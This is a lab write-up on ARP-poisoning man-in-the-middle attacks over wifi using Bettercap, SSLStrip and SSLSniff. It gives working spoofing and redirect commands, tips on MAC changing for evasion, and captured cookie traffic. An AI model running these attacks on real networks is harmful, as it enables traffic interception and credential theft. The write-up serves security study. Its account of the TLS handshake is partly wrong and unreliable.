MITM Labs/Bettercap Over Wifi

Lab Scenario/Overview

This lab covers the use of Bettercap to carry out a Man in the Middle attack on a wifi network. This also covers the case of SSL encryption and how it may be defeated using other tools like SSLStrip.

Check out the Ettercap and Bettercap pages for more notes.

Setting Up

Let's walk through the setup required for this type of attack. This does not require any kind of tricky setup. It's a fast and easy attack to carry out, and an attack that virtually all networking equipment is susceptible to.

Wifi Network

This lab will utilize a standard home wifi router, which incorporates an ethernet switch and a wireless router all on board a single device and on a single LAN. The router is the gateway, 192.168.0.1, and both the sheep and the attacker are laptops connected to the router via wifi.

Sheep

The sheep is a normal laptop connected to the wifi. Given the failures with HTTP traffic with Dsniff, this lab will aim low and focus on intercepting HTTP and HTTPS traffic only. We'll work on SSH, email, and sql some other time. The sheep is at 192.168.0.7.

Attacker

The attacker is the same model of laptop, same operating system, connected to the wifi. The attacker is at 192.168.0.8.

Execution

Once the components are in place, we proceed with the execution of the attack. Of course, we start the execution with passive listening and information gathering.

Plan

The attack steps are as follows:

• Perform recon and gather information about gateway, sheep, network, hardware
• Prepare for ARP poisoning attack (packet forwarding, network interface setup, etc.)
• Run ARP poisoning attack to broadcast packets to poison ARP tables of sheep and router
• Run dsniff and/or urlsnarf to capture goodies from HTTP traffic (good example site: nytimes)
• Start with HTTP traffic goodies
• Add SSLStrip and aim for HTTPS traffic goodies

Step 1: Recon/Info Gathering

The ARP poisoning attack requires us to be on the same subnet as our victim. If this is a foreign network, there are a couple of things we might want to know about it:

• How many other clients are there on the network?
• What is the volume of traffic on this network?
• Is this network administered? What is the potential the network is monitored?
• What kind of network router/other hardware is present?

If we're on a network like 192.168.0.* we can get a very quick picture of what other computers are on the network by doing a fast scan, or by scanning a particular port:

$ nmap -F 192.168.0.*

If you want more detailed information about the types of devices that are running, what operating systems, etc, you can run with the -A flag:

$ nmap -A 192.168.0.*

With this type of Nmap scan, it is possible to discover the following information:

• Router manufacturer from MAC address lookup
• Service information and operating system
• Open ports on router/sheep
• Other potential attack vectors

Step 2: Prepare for ARP Poisoning

First, keep in mind the disclaimer section on Man in the Middle/ARP Poisoning page. This will generate lots of network traffic, lots of network collisions, slow down network service by a significant amount, and be very loud packet-wise.

Gather required information

You'll want to pick out your sheep target and the gateway router, and record the MAC address and IP of each. Here's the configuration for my laboratory:

Role        IP              Example MAC
Gateway     192.168.0.1     11:11:11
Sheep       192.168.0.7     22:22:22
Attacker    192.168.0.8     AA:AA:AA

Set up packet forwarding

NOTE: Bettercap will take care of this automatically.

When we carry out the ARP attack, we're confusing nodes on the network about which physical computer corresponds to which IP address. It's important that we keep traffic moving, however, or else the entire network will come to a grinding halt. We can do this by forwarding packets. That means that when the gateway sends a packet intended for the sheep, and it gets to the attacker instead, the attacker's network card will simply forward the packet along.

echo 1 > /proc/sys/net/ipv4/ip_forward 

Remember: not necessary with bettercap.

Change your MAC

Important: change the MAC address of the wireless interface you're using to connect to the wireless:

$ ifconfig wlan1 down
$ macchanger -r wlan1 
$ ifconfig wlan1 up

Step 3: ARP Poisoning

Now you are ready to carry out the ARP poisoning attack with Bettercap. It's important to note that Bettercap has significantly better performance with MITM attacks - there was absolutely no sign of lag or fishy behavior running a MITM with Bettercap, whereas it was painfully obvious something funny was going on when using Ettercap to conduct a MITM.

This command will spoof a single sheep, according to the scenario we outlined above:

$ bettercap -I wlan0 -O bettercap.log -S ARP --gateway 192.168.0.1 --target 192.168.0.7

This command will ARP spoof an entire network, running everyone's traffic through you. Unlike with Ettercap, which struggled with traffic from one client, this command actually works, and you can plausibly spoof an entire network without avoiding detection by users:

$ bettercap -I wlan0 -O bettercap.log -S ARP -X

Sniffing HTTP (Works)

The output takes a little bit of understanding, and I'm still trying to figure out how it all works. But the basics are pretty simple to understand.

• If the sheep visits an HTTP web site, especially a sketchy one that installs lots of cookies, like ESPN.com, you'll see a huge flurry of activity from bettercap correlating with all of the unencrypted HTTP traffic flowing over the line. All of it unencrypted, in the clear, and passing through your network card and on to the sheep. You can see every URL the sheep visits, plus all the URLs that that page requests, plus all the cookies, plus other goodies.
• If the sheep visits an HTTPS page, and you aren't doing anything to bypass SSL, you see a whole bunch of lines that say https, but most of these websites are generic and point to static resources like akamai technologies or amazon aws or facebook.
• If the sheep has a VPN turned on, and is browsing the web, you will see absolutely zero activity show up in bettercap.

Some examples of each follow below.

Sniffer Output for HTTP

Oh look, the sheep decided to check the sportsball scores:

[CHARLESS-MBP/192.168.0.4 > 199.181.132.250:http] [GET] http://espn.com/
[CHARLESS-MBP/192.168.0.4 > 199.181.132.250:http] [GET] http://espn.com/
[CHARLESS-MBP/192.168.0.4 > 199.181.133.15:http] [GET] http://www.espn.com/
[CHARLESS-MBP/192.168.0.4 > 199.181.133.15:http] [GET] http://www.espn.com/
[CHARLESS-MBP/192.168.0.4 > 50.31.164.173:https] [HTTPS] https://bam-3.nr-data.net./
[174.21.211.206 > 23.3.105.26:http] [GET] http://a.espncdn.com/favicon.ico
[174.21.211.206 > 23.3.105.26:http] [GET] http://a.espncdn.com/favicon.ico
[174.21.211.206 > 23.3.105.26:http] [GET] http://a.espncdn.com/favicon.ico
[174.21.211.206 > 23.3.105.26:http] [GET] http://a.espncdn.com/favicon.ico

Get ready for a cookie enema!

[CHARLESS-MBP/192.168.0.4 > 54.148.109.51:http] [GET] http://dpm.demdex.net/id?d_visid_ver=1.5.6&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=EE0201AC51XXXXXXXXXXXC%40AdobeOrg&d_nsid=0&d_cb=s_c_il%5B0%5D._setMarketingCloudFields
[CHARLESS-MBP/192.168.0.4 > 54.148.109.51:http] [GET] http://dpm.demdex.net/id?d_visid_ver=1.5.6&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=EE0201AC5XXXXXXXXXXXE80A490D4C%40AdobeOrg&d_nsid=0&d_cb=s_c_il%5B0%5D._setMarketingCloudFields
[CHARLESS-MBP/192.168.0.4 > 52.89.199.237:http] [GET] http://sds.livesegmentservice.com/segments?prop=GM87FR&swid=C7D5AXXXXXXXF-BE18-E7F7ABE3BE89
[CHARLESS-MBP/192.168.0.4 > 52.89.199.237:http] [GET] http://sds.livesegmentservice.com/segments?prop=GM87FR&swid=C7DXXXXXXX403F-BE18-E7F7ABE3BE89
[CHARLESS-MBP/192.168.0.4 > 199.181.132.116:http] [GET] http://tredir.espn.com/capmon/GetDE?set=j&param=country&param=countryisocode&param=state&param=metro&param=metrocode&param=postcode&param=offset&param=dst&param=countrycode&param=connection
[CHARLESS-MBP/192.168.0.4 > 199.181.132.116:http] [COOKIE] [tredir.espn.com] SWID=C7D5A4BA-6F9XXXXXXXXX7F7ABE8BE89; AMCV_EE02XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX80A490D4C%40AdobeOrg=-1258264605%7CMCIDTS%7C17036
[CHARLESS-MBP/192.168.0.4 > 199.181.132.116:http] [GET] http://tredir.espn.com/capmon/GetDE?set=j&param=country&param=countryisocode&param=state&param=metro&param=metrocode&param=postcode&param=offset&param=dst&param=countrycode&param=connection
[CHARLESS-MBP/192.168.0.4 > 199.181.132.116:http] [COOKIE] [tredir.espn.com] SWID=C7D5A4BXXXXXXXXXXXXXXXE3BE39; AMCV_EE023XXXXXXXXXXXXXXXXXXXXXXXXXXD4C%40AdobeOrg=-1258264605%7CMCIDTS%7C17036
[CHARLESS-MBP/192.168.0.4 > 54.148.109.51:http] [GET] http://dpm.demdex.net/id/rd?d_visid_ver=1.5.6&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=EE0XXXXXXXXXXXXXXXXXXXXXXXXXX3490D4C%40AdobeOrg&d_nsid=0&d_cb=s_c_il%5B0%5D._setMarketingCloudFields
[CHARLESS-MBP/192.168.0.4 > 54.148.109.51:http] [GET] http://dpm.demdex.net/id/rd?d_visid_ver=1.5.6&d_rtbd=json&d_ver=2&d_verify=1&d_orgid=EE0XXXXXXXXXXXXXXXXXXXXXXXXXXC%40AdobeOrg&d_nsid=0&d_cb=s_c_il%5B0%5D._setMarketingCloudFields
[CHARLESS-MBP/192.168.0.4 > 66.235.139.15:http] [GET] http://w88.espn.com/id?d_visid_ver=1.5.6&callback=s_c_il%5B0%5D.setMarketingCloudFields&mcorgid=EE0201AXXXXXXXXXXXXX390D4C%40AdobeOrg
[CHARLESS-MBP/192.168.0.4 > 66.235.139.15:http] [COOKIE] [w88.espn.com] SWID=C7D5A4BAXXXXXXXXXXXXX3ABE8BE89; AMCV_EE02XXXXXXXXXXXXXXXXXXXXXXXX0D4C%40AdobeOrg=-1258264605%7CMCIDTS%7C17036; DE2=dXNh3fdhO3NlYXR0bGU7YnJvYWRiYW53kOzU7NDs0Ozgx3OTs0Ny42MXXXXXXXXXXXXXLjMzNTE0Ozg0MDs03ODsxMTQ7Njt1czs;DS=cXdlc3QubmV0OzczNzQxNTtxd2VzdCBjb21tdW5pY2F0aW9ucyBjb21wYW55IGxsYzs
[CHARLESS-MBP/192.168.0.4 > 66.235.139.15:http] [GET] http://w88.espn.com/id?d_visid_ver=1.5.6&callback=s_c_il%5B0%5D.setMarketingCloudFields&mcorgid=EE0201AC312D2BE80A490D4C%40AdobeOrg
[CHARLESS-MBP/192.168.0.4 > 66.235.139.15:http] [COOKIE] [w88.espn.com] SWID=C7D5A4BA-3F90-406F-BE18-E7F7ABE8BE89; AMCV_EE02301AC3512D2BE80A490D4C%40AdobeOrg=-1258264605%7CMCIDTS%7C17036; DE2=dXNhO3dhO33NlYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXNy42M3TIwMTstMTIyLjMzNTE0Ozg0MDs0ODsxMTQ7Njt1czs;DS=cXdlc3QubmV0OzczNzQxNTtxd2VXXXXXXXXXXXXXXXXXXXX21wYW55IGxsYzs

etc etc etc...

HTTPS Without SSL Stripping

Here is what HTTPS requests look like if you aren't running SSL stripping.

Static Content:

Theoretically, HTTPS is encrypted end-to-end, in such a way that no one can see the endpoint URL that you are requesting, because the request happens in the (encrypted) payload of the packet, which no one can inspect except the two end parties.

However, there are still quite a few HTTPS requests that show up in bettercap. Many websites host static content on Amazon AWS servers or on other companies' server farms, and for some reason you'll see a lot of HTTPS requests for static content sites over HTTPS show up in the list:

[CHARLESS-MBP/192.168.0.4 > 52.206.224.69:https] [HTTPS] https://ec2-52-206-224-69.compute-1.amazonaws.com./
[CHARLESS-MBP/192.168.0.4 > 107.21.114.218:https] [HTTPS] https://ec2-107-21-114-218.compute-1.amazonaws.com./
[CHARLESS-MBP/192.168.0.4 > 52.206.224.69:https] [HTTPS] https://ec2-52-206-224-69.compute-1.amazonaws.com./
[174.21.211.206 > 107.21.114.218:https] [HTTPS] https://ec2-107-21-114-218.compute-1.amazonaws.com./
[CHARLESS-MBP/192.168.0.4 > 52.206.224.69:https] [HTTPS] https://ec2-52-206-224-69.compute-1.amazonaws.com./
[CHARLESS-MBP/192.168.0.4 > 107.21.114.218:https] [HTTPS] https://ec2-107-21-114-218.compute-1.amazonaws.com./

Certificates:

When the sheep logs into a site using HTTPS, you'll usually be able to see the actual certificate that's being passed along by the certificate authority, usually labeled with a URL of a CA like digicert.com:

[CHARLESS-MBP/192.168.0.4 > 72.21.91.29:http] [POST] http://ocsp.digicert.com/

[HEADERS]

  Host : ocsp.digicert.com
  User-Agent : Mozilla/2.0 (Macintosh; Intel Mac OS X 9.4; rv:48.0) Gecko/20100101 Firefox/2.0
  Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language : en-US,en;q=0.5
  Accept-Encoding : identity
  DNT : 1
  Content-Length : 83
  Content-Type : application/ocsp-request
  Connection : close

[BODY]

40 51 40 4F 30 4D 30 4B 30 49 30 09 06 05 2B 0E  0Q0O0M0K0I0...+.
04 02 1A 05 00 04 14 CF 26 F5 18 FA C9 7E 8F 8C  ........&....~..
B4 42 E0 1C 2F 6A 10 9E 8E 5F 0A 04 14 51 68 FF  .F../j..._...FF.
90 AF 02 07 75 4C CC D9 65 64 62 A2 12 B8 59 72  ....u<..efr...zs
4B 02 10 06 8F 4E EB 2E E4 5E 0A 8C F8 E3 E8 F3  ;....>...$......
42 3B DA

Note that while we could simply copy and paste this when it comes time to send the sheep our own certificate, we would not have the private key corresponding to this public certificate, so we would have no way of decrypting communications with the sheep using this certificate.

Sniffing HTTPS with Bettercap (Meh)

Stripping SSL is possible with bettercap using a built-in HTTP and HTTPS proxy server. A proxy server is simply a server that makes requests on someone else's behalf. It also provides an opportunity to modify or inject traffic.

Basic HTTPS

However, stripping SSL and sniffing HTTPS is not easy to do if the sheep is using a modern browser like Firefox or Chrome. These browsers will lock up when they detect invalid certificates:

Normal HTTPS Session

To understand why this happens, let's examine how a normal HTTPS session is supposed to go.

Client Request: First, the client sends an HTTPS request to the HTTPS web server.

Server Response: The server responds with its certificate. This is equivalent to a public key that the client uses to encrypt communications with the server.

Client Key: The client responds with its public key, which the server will use to encrypt communications with the client

Each party has a private key, which they combine with the other party's public key, to encrypt their communications. (How does it work? THE MATHS - SPECIFICALLY ZETA FUNCTION MATHS)

The end result: secure, encrypted communications established by exchanging only public information on a public channel.

MITMed HTTPS Session

When an HTTPS session is attacked with a man in the middle attack, the modified sequence looks like this:

Sheep Request (intercepted by attacker): First, the sheep sends an HTTPS request to the HTTPS web server, which is intercepted by the bettercap HTTPS proxy.

Fake Server Response: The attacker responds to the sheep with its (self-signed) certificate. This certificate, equivalent to a public key, is an identity mechanism - cryptographic fingerprint of the HTTPS proxy server.

(Aside: This public key corresponds to one and only one private key that is a cryptographic, identifying fingerprint - that's a symbol of everyone's trust in your identity. To create a public/private key pair that looks exactly like EvilCorp.com's, for example, and that would allow an attacker to completely and transparently pwn all https://evilcorp.com visitors by assuming the identity of the corporation and masquerading as them, one would need to obtain Evil Corp's private key - their cryptographic identity - no easy task.)

Attacker Request Forward: The attacker forwards the original HTTPS request to the HTTPS server, which is unaware of the MITM attack.

Server Response (intercepted by attacker): The server responds with its certificate. This is the public key that the attacker uses to encrypt communications with the server (which is still unaware of the MITM attack).

Client Key: The client responds to the attacker's (self-signed) certificate with its own public key, so that it can communicate securely with the attacker (which it thinks is the trusted HTTPS web server).

The end result: the attacker has established secure, encrypted communication channels with the sheep and the server.

Detecting the Attack

The naive may think this is enough to thwart encryption. But there's an alternate channel here for verifying identity: the public key. If the domain and the public key do not match, the sheep knows the traffic is being tampered with and that it is being presented with a fake certificate.

Responsibility to detect HTTPS MITM attacks falls on the sheep's browser. The browser should be checking the public keys of each certificate it receives with the domain of the certificate. If the two do not match, then the encryption channel that has been established is hazardous and links to an attacker, not to the trusted endpoint.

For the attacker to truly trick the sheep into trusting it, it would need to find a private key of Evil Corp - which, given that it is equivalent to Evil Corp's digital identity, is going to be a closely-guarded secret that is impossible for the armchair pentester to crack.

Alternatively, you hijack the trust mechanism of the sheep's browser (pop up from Level 3 to Level 7).

Bettercap Command

Add the --proxy-https flag to enable an HTTPS proxy and redirect all HTTPS requests to it.

$ bettercap -I wlan0 -O bettercap-https.log -S ARP -X --proxy-https --gateway 192.168.0.1 --target 192.168.0.7

Sniffing HTTPS with SSLStrip (Meh)

The setup for performing an ARP attack with bettercap and manually stripping SSL looks like this:

• Remove the proxy flag
• Open port 80 on the firewall, and set a rule to forward to port 6666 (or whatever port sslstrip will be running on)

Run the arp attack

Start by running the ARP poisoning attack, which we'll be using bettercap for. No https proxy flag:

$ bettercap -I wlan0 -O bettercap_sslstrip.log -S ARP -X --gateway 192.168.0.1 --target 192.168.0.7

Set up firewall

Our next step is to strip SSL coming from the server to the sheep, and present the sheep with HTTP traffic. To do that we'll need to open the firewall with Iptables:

$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 6666

This may seem confusing - why is it running on port 80 instead of port 443? - but if you study the details of the attack, what you'll learn is that it is ONLY useful for attacking HTTPS traffic coming from links and/or HTTP redirects. That's it! What that means is, SSLStrip is actually monitoring HTTP traffic coming from the server, on port 80, intended for the sheep, and it is detecting any links or redirects that say, "Hey sheep, why don't you use HTTPS here?" and removing them from the content. It then presents that content to the sheep on port 80, so the sheep is forced to say, "No thanks, I'm really not into that HTTPS stuff."

So, we need the firewall to redirect traffic on port 80 to port 6666, the sslstrip port.

Now run sslstrip and have it listen on port 6666:

$ sslstrip -a -l 6666

Now you can visit an SSL page from the sheep. Unfortunately, because the attacker does not have a valid, signed security certificate for the domain the sheep is requesting, any sheep using a modern browser will always see an invalid certificate warning, the same as running an sslstrip attack from bettercap directly:

This tool is a bit long in the tooth, so many HTTP to HTTPS redirects are not caught by sslsniff. Major services like google, yahoo, major business sites, have a working HTTP to HTTPS redirect, which immediately raises the invalid certificate warning above.

Sniffing HTTPS with SSLSniff

This section covers sniffing HTTPS traffic using SSLSniff instead of SSLStrip. The main difference between these two tools is:

• sslstrip, as described above, strips https content and redirects out of traffic
• sslsniff is a tool for dealing with certificates and acting as a certificate authority

sslstrip attacks (bypass https)

The types of attacks you can carry out with sslsniff are different from the types you carry out with sslstrip. We saw above that an sslstrip attack is not very effective - and the reason the sslstrip attack is no longer as powerful is because of improved browser security. This is better security by the sheep's tools (if not by sheep themselves). The browser is better at detecting fraudulent certificates.

sslsniff attacks (break https)

sslsniff does not attempt to bypass HTTPS - it attempts to break the https trust mechanism entirely by exploiting flaws that exist in the browser's fraud detection mechanisms. For example, certificate checkers can parse end-of-line characters in different ways, leaving some browsers vulnerable to certain forged certificates.

why use old stuff

Okay, you're probably wondering: why am I focusing on old tools? This stuff was presented in 2009, it's now 2016. Just look at the browsers in this presentation: https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf

The reason I'm covering this is, the tools still work, the principles still apply, and HTTPS can still be broken.

Breaking HTTPS used to be easy, back in the days of 2009. You could download Moxie's tool and away you went. Back then, browsers were dumb. Back then, browsers looked like this:

Now we have smarter browsers, more sophisticated mechanisms, and 7 years of security fails and other lulz to improve HTTPS. However, there are still ways to defeat HTTPS (they just require deeper knowledge and more specialized tools). While the particulars of the attacks have evolved, having tools for dealing with certificate security mechanisms is still useful.

whaddya mean

As an example: sslsniff acts as a certificate authority, and can serve up different HTTPS certificates to clients based on different domains. This functionality is still extremely useful - you may not be able to easily get your hands on a valid authority.

But let's suppose you're using a fuzzing tool, and you have several certificates that have payloads that will crash the browser, corrupt memory, etc, each associated with a particular domain. It's important to have a mechanism with which to serve particular certificates for particular domains, so that you can carry out a targeted HTTPS attack with your fuzzed certificates.

Another scenario might come from exploiting a hash function or a crypto protocol implementation flaw, which would allow you to forge your own perfectly valid certificates (that look like they've been signed by a trusted certificate authority), but that only work for a small subset of domains (domains matching a certain input pattern, for example, allowing the crypto/hash flaw to be exploited). sslsniff would be useful for dealing with this pile of valid certificates and serving them up for the correct corresponding domains.

carrying out attack

To carry out the attack, you can follow instructions at SSLSniff or follow along below:

Run the ARP poison attack with bettercap in window 1:

$ bettercap -I wlan2 -O bettercap_sslsniff.log -S ARP -X --gateway 192.168.0.1 --target 192.168.0.7

Next, use Iptables to tell the firewall to accept HTTPS traffic and to send it to sslsniff:

$ iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 6666

Now you're ready to run your sslsniff program in another window, to redirect HTTPS traffic:

sslsniff -a -s 6666 -w sslsniff_attempt1.log -c wildcard

This will attempt to use a wildcard certificate with sslsniff. Now you can try visiting a secure site like https://www.kali.org in your browser, and you'll see a slightly different certificate error this time:

Sniffing HTTPS with HSTS Bypass

The page describes the HSTS attack, a modified version of sslstrip that has a greater probability of success. The way it works is, it changes secure https links to insecure http links, and additionally, it modifies the link subdomain to something random, so that there will be no "forwarding" requirement from the domain to change to https.

For example, the link https://www.google.com would be stripped to http://www.google.com and the subdomain modified to http://wwwqwerty.google.com or something similar. The google.com domain will not have a subdomain entry defined for wwwqwerty, and so there will be no reason for the domain to respond and insist the sheep use HTTPS.

The sheep's request for http://wwwqwerty.google.com is destined for the gateway, but it reaches the attacker first - where it can be modified into something that will, in fact work, like the original https://www.google.com. Now that it is the attacker establishing the connection, an encrypted HTTPS tunnel should be set up by visiting the https site.

Video of implementation: https://www.bettercap.org/docs/proxying/http.html

Future Work

There is a lot of potential to explore the use of sslsniff with funky certificates. This is the most viable attack vector at present.

sslsniff allows exploring certificate fuzzing, weird characters, other attacks on certificate checking mechanisms in browsers, so definitely a handy tool.

More here: Certificates

Sheep Booty

The question on everyone's mind: what kind of booty do you get with these tools?

The answer is: it depends.

• If you're ARP poisoning, it's very easy to capture HTTP traffic, see cookies, see certificates being exchanged for secure connections, and sniff plaintext traffic for goodies like login credentials. Bettercap is your tool.
• If you're interested in going after the good stuff, the HTTPS connections, you'll want to step your game up. Use Bettercap for the ARP poisoning, and use SSLSniff for managing the forged certificates. Then use your imagination to create the certificates. More here: Certificates

Basically, creating an HTTP tap is easy. Breaking HTTPS is harder.